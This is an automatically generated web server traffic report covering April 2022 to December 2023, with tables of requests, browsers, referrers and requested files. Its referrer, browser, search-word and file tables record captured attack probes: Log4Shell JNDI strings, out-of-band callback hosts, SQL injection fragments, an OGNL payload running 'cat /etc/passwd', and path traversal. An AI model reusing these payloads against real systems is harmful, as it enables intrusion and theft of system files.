Program started on Sun, Dec 31 2023 at 5:36 PM.
Analyzed requests from Sat, Apr 16 2022 at 11:25 PM to Sun, Dec 31 2023 at 9:29 AM (623.42 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending Dec 31 2023 at 5:36 PM.
Successful requests: 8,834 (25)
Average successful requests per day: 14 (3)
Successful requests for pages: 8,767 (25)
Average successful requests for pages per day: 14 (3)
Failed requests: 423,988 (35)
Redirected requests: 6 (0)
Distinct files requested: 5,214 (374,630)
Distinct hosts served: 1,122 (2,685)
Data transferred: 5.54 megabytes (6.72 kilobytes)
Average data transferred per day: 9.10 kilobytes (982 bytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 150 requests for pages or part thereof.
month | #reqs | #pages | |
---|---|---|---|
Apr 2022 | 53 | 53 | ![]() |
May 2022 | 137 | 137 | ![]() |
Jun 2022 | 239 | 236 | ![]() |
Jul 2022 | 144 | 144 | ![]() |
Aug 2022 | 168 | 165 | ![]() |
Sep 2022 | 58 | 58 | ![]() |
Oct 2022 | 127 | 127 | ![]() |
Nov 2022 | 77 | 77 | ![]() |
Dec 2022 | 99 | 99 | ![]() |
Jan 2023 | 558 | 544 | ![]() |
Feb 2023 | 109 | 109 | ![]() |
Mar 2023 | 117 | 117 | ![]() |
Apr 2023 | 136 | 136 | ![]() |
May 2023 | 100 | 100 | ![]() |
Jun 2023 | 900 | 876 | ![]() ![]() |
Jul 2023 | 86 | 86 | ![]() |
Aug 2023 | 113 | 113 | ![]() |
Sep 2023 | 158 | 158 | ![]() |
Oct 2023 | 5194 | 5171 | ![]() ![]() ![]() |
Nov 2023 | 157 | 157 | ![]() |
Dec 2023 | 104 | 104 | ![]() |
Busiest month: Oct 2023 (5,171 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 150 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 5220 | 5220 | ![]() ![]() ![]() |
Mon | 467 | 454 | ![]() |
Tue | 1007 | 986 | ![]() ![]() ![]() |
Wed | 508 | 497 | ![]() |
Thu | 482 | 475 | ![]() |
Fri | 483 | 480 | ![]() |
Sat | 667 | 655 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 150 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 144 | 144 | ![]() |
1 | 122 | 122 | ![]() |
2 | 105 | 104 | ![]() |
3 | 172 | 172 | ![]() |
4 | 313 | 308 | ![]() ![]() |
5 | 258 | 254 | ![]() |
6 | 138 | 136 | ![]() |
7 | 181 | 174 | ![]() |
8 | 161 | 158 | ![]() |
9 | 200 | 194 | ![]() |
10 | 200 | 194 | ![]() |
11 | 135 | 133 | ![]() |
12 | 115 | 113 | ![]() |
13 | 155 | 151 | ![]() |
14 | 283 | 276 | ![]() |
15 | 140 | 138 | ![]() |
16 | 164 | 162 | ![]() |
17 | 153 | 151 | ![]() |
18 | 152 | 151 | ![]() |
19 | 4994 | 4992 | ![]() ![]() |
20 | 144 | 144 | ![]() |
21 | 140 | 139 | ![]() |
22 | 137 | 131 | ![]() |
23 | 128 | 126 | ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
#reqs | %bytes | domain |
---|---|---|
8834 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
4819 | 36.42% | 117 |
484 | 12.71% | 54 |
386 | 10.55% | 15 |
334 | 7.40% | 62.138 |
275 | 1.20% | 104 |
247 | 13.77% | 91 |
96 | 0.42% | 202.185 |
90 | 0.39% | 34 |
84 | 0.60% | 20 |
83 | 2.76% | 202.186 |
71 | 0.30% | 172.121 |
67 | 0.52% | 205.210 |
66 | 0.29% | 52 |
61 | 0.26% | 35 |
60 | 0.26% | 114 |
56 | 0.43% | 198.235 |
54 | 0.42% | 216.244 |
53 | 0.38% | 43 |
42 | 0.19% | 49 |
40 | 0.18% | 45 |
1366 | 10.54% | [not listed: 219 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring sites, sorted by the number of requests.
#reqs | site |
---|---|
188 | http://admtrg.kuk.ac.in/ |
184 | https://admtrg.kuk.ac.in/ |
46 | https://www.bing.com/ |
41 | http://49.50.77.90/ |
28 | http://www.google.com/ |
21 | https://subdomainfinder.c99.nl/ |
14 | ${jndi:ldap:/ |
8 | https://www.google.com/ |
5 | http://baidu.com/ |
1 | http://cf2u1adc8elashnj1ce01nnb86dbebex3.oast.pro/ |
1 | http://links.giveawayoftheday.com/ |
1 | http://xuv0wztdo40etdm6n7s892wozf55tyht4ks9.burpcollaborator.net/ |
1 | http://ci7ruba11unincb9pqg0hmp5k4zk6yoxf.oast.live/ |
1 | http://6ls9n8kmfdrnkmdfegjh0bnxqowek7fv5iv6k.burpcollaborator.net/ |
1 | https://google.com/ |
1 | http://www.google.com.hk/ |
1 | http://ci8rpti11unt2mlmav9gj5r5dsy5ghxfw.oast.site/ |
1 | eval(compile('for x in range(1)://n import time/ |
1 | http://ci9td5rvid9k6sc4k6a0a44xnb6szgjpo.oast.pro/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 30 query words by the number of requests, sorted by the number of requests.
#reqs | search term |
---|---|
24 | ' |
7 | 20 |
6 | sleep |
5 | select |
5 | and |
4 | or |
4 | a |
4 | select*from |
3 | waitfor |
3 | set |
3 | @q |
3 | declare |
3 | 99 |
3 | delay'0:0:20' |
3 | varchar |
1 | time.sleep |
1 | @q='\\\\0ab3c29g47gh9g293a8bp5crfil89z1nwanyc.burpcollab' |
1 | eval |
1 | qe2biu011y |
1 | {${sleep |
1 | 3763=3771 |
1 | 'orator.net\\ffd' |
1 | 36003682' |
1 | '2586'='2586 |
1 | load_file |
1 | 'orator.net\\iqd' |
1 | @q='\\\\2ps5r4oij9vjoihbicnd47rtuk0ao1ep9c00p.burpcollab' |
1 | 'orator.net\\nop' |
1 | in |
1 | 'single' |
24 | [not listed: 24 search terms] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
#reqs | #pages | browser |
---|---|---|
4614 | 4614 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) |
179 | 176 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML |
162 | 162 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_1 like Mac OS X) AppleWebKit/616.13 (KHTML, like Gecko) Version/11.5.60 Mobile/FYAXQ6 Safari/616.13 |
116 | 116 | Mozilla/5.0 zgrab/0.x |
114 | 114 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36 |
98 | 98 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
94 | 94 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com |
94 | 94 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
80 | 79 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
74 | 74 | Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/) |
72 | 72 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 |
68 | 68 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 |
65 | 64 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
62 | 60 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 |
57 | 57 | Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html) |
57 | 57 | Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot) |
58 | 55 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 |
54 | 54 | Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com) |
58 | 53 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 |
53 | 53 | Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 |
53 | 51 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 |
51 | 51 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 |
52 | 51 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 |
55 | 50 | Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36 |
52 | 50 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 |
49 | 48 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 |
50 | 48 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 |
50 | 47 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 |
47 | 47 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36 |
49 | 47 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36 |
46 | 46 | Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html) |
46 | 45 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 |
46 | 45 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 |
44 | 44 | Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 |
43 | 43 | Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 |
44 | 43 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 |
45 | 42 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 |
43 | 41 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 |
44 | 41 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F |
40 | 40 | Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com) |
1579 | 1556 | [not listed: 384 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 4650 | 4650 | MSIE |
4616 | 4616 | MSIE/6 | |
14 | 14 | MSIE/9 | |
8 | 8 | MSIE/10 | |
6 | 6 | MSIE/5 | |
4 | 4 | MSIE/8 | |
1 | 1 | MSIE/4 | |
1 | 1 | MSIE/7 | |
2 | 2813 | 2757 | Safari |
2516 | 2463 | Safari/537 | |
190 | 190 | Safari/616 | |
44 | 41 | Safari/4E423F | |
17 | 17 | Safari/601 | |
13 | 13 | Safari/605 | |
9 | 9 | Safari/534 | |
4 | 4 | Safari/535 | |
3 | 3 | Safari/602 | |
3 | 3 | Safari/525 | |
3 | 3 | Safari/533 | |
3 | 395 | 395 | Netscape (compatible) |
4 | 360 | 357 | Mozilla |
42 | 42 | Mozilla/1 | |
5 | 241 | 241 | Firefox |
34 | 34 | Firefox/77 | |
28 | 28 | Firefox/92 | |
25 | 25 | Firefox/43 | |
22 | 22 | Firefox/47 | |
16 | 16 | Firefox/94 | |
10 | 10 | Firefox/1 | |
10 | 10 | Firefox/78 | |
10 | 10 | Firefox/101 | |
9 | 9 | Firefox/64 | |
8 | 8 | Firefox/28 | |
6 | 94 | 94 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
94 | 94 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
7 | 31 | 31 | python-requests |
31 | 31 | python-requests/2 | |
8 | 28 | 28 | Firebird |
28 | 28 | Firebird/0 | |
9 | 27 | 27 | curl |
27 | 27 | curl/7 | |
10 | 24 | 24 | Konqueror |
24 | 24 | Konqueror/3 | |
11 | 19 | 19 | Go-http-client |
19 | 19 | Go-http-client/1 | |
12 | 13 | 13 | Opera |
9 | 9 | Opera/9 | |
2 | 2 | Opera/8 | |
2 | 2 | Opera/7 | |
13 | 12 | 12 | ${jndi:ldap: |
6 | 6 | ${jndi:ldap://${hostName} | |
4 | 4 | ${jndi:ldap://127 | |
1 | 1 | ${jndi:ldap://${:-203}${:-330} | |
1 | 1 | ${jndi:ldap://${:-368}${:-433} | |
14 | 12 | 12 | webprosbot |
12 | 12 | webprosbot/2 | |
15 | 4 | 4 | TLS tester from https: |
4 | 4 | TLS tester from https://testssl | |
16 | 8 | 3 | Fuzz Faster U Fool v1.5.0-dev |
17 | 2 | 2 | Mozilliqa'<?=print(9347655345-4954366);?>' |
18 | 2 | 2 | Mozilliqa'+print(9347655345-4954366)+' |
19 | 2 | 2 | Mozilliqa'{${print(9347655345-4954366)}}' |
20 | 1 | 1 | 4uz7w6tkob0ltkmdnesf99wvzm5ct4lsgf63v |
19 | 16 | [not listed: 16 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 6569 | 6535 | Windows |
4913 | 4904 | Windows XP | |
1068 | 1058 | Windows NT | |
553 | 538 | Unknown Windows | |
28 | 28 | Windows 2000 | |
4 | 4 | Windows Server 2003 | |
2 | 2 | Windows 98 | |
1 | 1 | Windows CE | |
2 | 782 | 767 | Macintosh |
3 | 760 | 752 | OS unknown |
4 | 627 | 617 | Unix |
580 | 570 | Linux | |
46 | 46 | BSD | |
1 | 1 | Other Unix | |
5 | 19 | 19 | Known robots |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
8834 | 200 OK |
6 | 301 Document moved permanently |
1 | 400 Bad request |
2 | 403 Access forbidden |
423939 | 404 Document not found |
46 | 4xx [Miscellaneous client/user errors] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
size | #reqs | %bytes |
---|---|---|
0 | 188 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 8569 | 55.54% |
1kB- 10kB | 3 | 0.08% |
10kB-100kB | 74 | 44.37% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | extension |
---|---|---|
8756 | 68.47% | [directories] |
43 | 26.17% | .php [PHP] |
23 | 4.78% | [no extension] |
1 | 0.59% | .log |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | directory |
---|---|---|
8698 | 58.78% | [root directory] |
65 | 39.14% | /webmail/ |
1 | 0.58% | /controlpanel/ |
1 | 0.58% | /cpanel/ |
1 | 0.58% | /kpanel/ |
35 | 0.21% | /.well-known/ |
3 | 0.08% | /mailman/ |
3 | 0.02% | http:// |
3 | 0.01% | /%0ASet-Cookie:crlfinjection/ |
13 | [not listed: 4 directories] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing files with at least 20 requests, sorted by the number of requests.
#reqs | %bytes | last time | file |
---|---|---|---|
8692 | 55.27% | Dec/30/23 8:59 AM | / |
94 | 0.41% | Nov/28/23 1:15 AM | /?C=M;O=D |
39 | 0.21% | Jul/12/23 8:06 PM | /?34.219.164.79 |
38 | 0.20% | Dec/27/23 4:20 PM | /?C=D;O=A |
30 | 0.17% | Dec/27/23 4:20 PM | /?C=M;O=A |
28 | 0.15% | Dec/17/23 8:25 PM | /?114.119.145.42 |
26 | 0.14% | Dec/27/23 4:20 PM | /?C=S;O=A |
26 | 0.14% | Dec/24/23 1:37 AM | /?C=N;O=D |
25 | 0.14% | Nov/15/23 11:05 PM | /?author=1 |
25 | 0.11% | Dec/27/23 12:01 PM | /?C=N%3BO=D |
25 | 0.11% | Dec/20/23 12:36 PM | /?C=D%3BO=A |
25 | 0.11% | Dec/18/23 3:17 PM | /?C=M%3BO=A |
23 | 0.10% | Dec/27/23 12:00 PM | /?C=S%3BO=A |
18 | 0.10% | Nov/30/23 3:08 AM | /?C=N;O=A |
13 | 0.07% | Nov/30/22 7:27 PM | /?209.141.34.187 |
13 | 0.07% | Sep/ 3/22 10:06 PM | /?34.101.102.139 |
13 | 0.06% | Nov/28/23 1:15 AM | /?C=S;O=D |
11 | 0.05% | Nov/ 4/23 4:12 PM | /?id=%25{(#instancemanager%3D#application["org.apache.tomcat.InstanceManager"]).(#stack%3D#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean%3D#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context%3D#bean.get("context")).(#bean.setBean(#context)).(#macc%3D#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset%3D#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist%3D#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat+/etc/passwd")).(#execute%3D#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} |
11 | 0.06% | Dec/28/23 9:40 PM | /?95.214.24.51 |
10 | 0.04% | Nov/ 7/23 1:34 PM | /?loadme |
10 | 0.04% | Oct/21/23 12:31 PM | /?c=../../../../../../etc/passwd%00 |
35 | 0.21% | Dec/28/23 7:48 AM | /.well-known/ |
21 | 12.97% | Oct/21/23 10:19 AM | /webmail/old/calendar/minimizer/index.php |
11 | 6.79% | Oct/21/23 10:19 AM | /webmail/old/calendar/minimizer/index.php?style=..././..././..././..././..././..././..././..././..././..././etc/passwd |
10 | 6.18% | Oct/21/23 10:19 AM | /webmail/old/calendar/minimizer/index.php?script=..././..././..././..././..././..././..././..././..././..././etc/passwd |
75 | 31.55% | Oct/21/23 11:59 AM | [not listed: 27 files] |